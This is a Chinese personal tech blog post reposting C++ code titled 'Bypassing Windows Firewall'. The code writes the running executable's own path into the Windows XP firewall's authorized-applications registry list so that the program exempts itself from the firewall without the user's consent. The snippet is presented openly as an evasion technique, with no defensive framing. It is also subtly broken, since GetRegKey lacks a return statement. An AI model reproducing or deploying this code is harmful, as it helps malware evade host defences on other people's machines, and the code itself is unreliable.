Bypassing Windows Firewall In C++

http://www.rohitab.com/discuss/topic/25335-bypassing-windows-firewall-in-c/

#define WIN32_LEAN_AND_MEAN
#include <winsock2.h>
#include <windows.h>
#include <string>
using namespace std;

char fwAuthApp[1024];

char* GetRegKey()
{
 HKEY hk = 0;

 RegCreateKeyA(HKEY_LOCAL_MACHINE,"SYSTEM\\Select",&hk);
 int i;
 DWORD sz = 4;

 if (RegQueryValueExA(hk,"Current",NULL,NULL,(BYTE*)&i,&sz) == ERROR_SUCCESS)
 {
  sprintf(fwAuthApp,"SYSTEM\\ControlSet%03d\\Services\\SharedAccess\\Parameters\\FirewallPolicy\\StandardProfile\\AuthorizedApplications\\List",i);
 }
 RegCloseKey(hk);
}

void AddException(string path)
{
 HKEY hk;
 DWORD dw;
 
 string skey = path + ":*:Enabled:@xpsp2res.dll,-22019";
 
 RegCreateKeyExA(
  HKEY_LOCAL_MACHINE,
  GetRegKey(),
  0,
  NULL,
  REG_OPTION_NON_VOLATILE,
  KEY_WRITE,
  NULL,
  &hk,
  &dw
  );
 
 RegSetValueExA(
  hk,
  path.c_str(),
  0,
  REG_SZ,
  (BYTE*)skey.c_str(),
  (DWORD)skey.length()
  );
 
 RegCloseKey(hk);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
{
 char  *CmdLineA, *Location;
 
 CmdLineA = GetCommandLineA();
 Location = CmdLineA + 1;
 Location[strlen(Location)-2] = 0;
 
 AddException(Location);
}

posted on 2011-03-09 11:20 挑灯看剑 阅读(392) 评论(0)  编辑 收藏 引用 所属分类: C/C++

只有注册用户登录后才能发表评论。
<2009年3月>
22232425262728
1234567
891011121314
15161718192021
22232425262728
2930311234

导航

公告

【自我介绍】 08年南开大学硕士毕业 最近关注:算法、Linux、c++、高并发 爱好:滑旱冰、打乒乓球、台球、保龄球

常用链接

随笔分类(139)

文章分类

我常去的网站

技术博客(都是大牛)

技术站点

搜索

积分与排名